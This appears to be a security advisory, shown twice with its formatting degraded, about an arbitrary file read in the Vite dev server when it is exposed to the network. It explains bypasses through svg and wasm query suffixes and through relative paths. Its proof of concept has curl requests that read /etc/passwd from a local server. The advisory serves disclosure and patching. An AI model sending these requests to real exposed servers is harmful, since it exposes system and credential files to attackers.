Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svg
Requests ending with .svg are loaded at this line.
|
if (svgExtRE.test(id)) { |
|
const file = publicFile || cleanUrl(id) |
|
const content = await fsp.readFile(file) |
|
if (shouldInline(environment, file, id, content, undefined, undefined)) { |
|
return assetToDataURL(environment, file, content) |
|
} |
By adding
?.svg with
?.wasm?init or with
sec-fetch-dest: script header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.
relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).
PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
HSwift Reporter
Iuhsssss Reporter
kikayli Reporter
sw0rd1ight Reporter
do9gy-msec Reporter
Onetpaer Reporter
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding
?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'